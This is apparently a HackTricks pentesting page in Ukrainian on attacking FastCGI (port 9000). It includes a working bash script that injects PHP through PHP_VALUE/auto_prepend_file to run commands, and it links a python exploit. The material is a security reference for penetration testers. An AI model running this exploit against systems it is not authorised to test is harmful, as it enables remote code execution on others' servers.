hacktricks/src/network-services-pentesting/9000-pentesting-fastcgi.md

40 lines
1.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 9000 Pentesting FastCGI
{{#include ../banners/hacktricks-training.md}}
## Основна інформація
Якщо ви хочете **дізнатися, що таке FastCGI**, перегляньте наступну сторінку:
{{#ref}}
pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md
{{#endref}}
За замовчуванням **FastCGI** працює на **порті** **9000** і не розпізнається nmap. **Зазвичай** FastCGI слухає лише на **localhost**.
## RCE
Досить легко змусити FastCGI виконувати довільний код:
```bash
#!/bin/bash
PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path
HOST=$1
B64=$(echo "$PAYLOAD"|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT
done
```
або ви також можете використовувати наступний скрипт на python: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
{{#include ../banners/hacktricks-training.md}}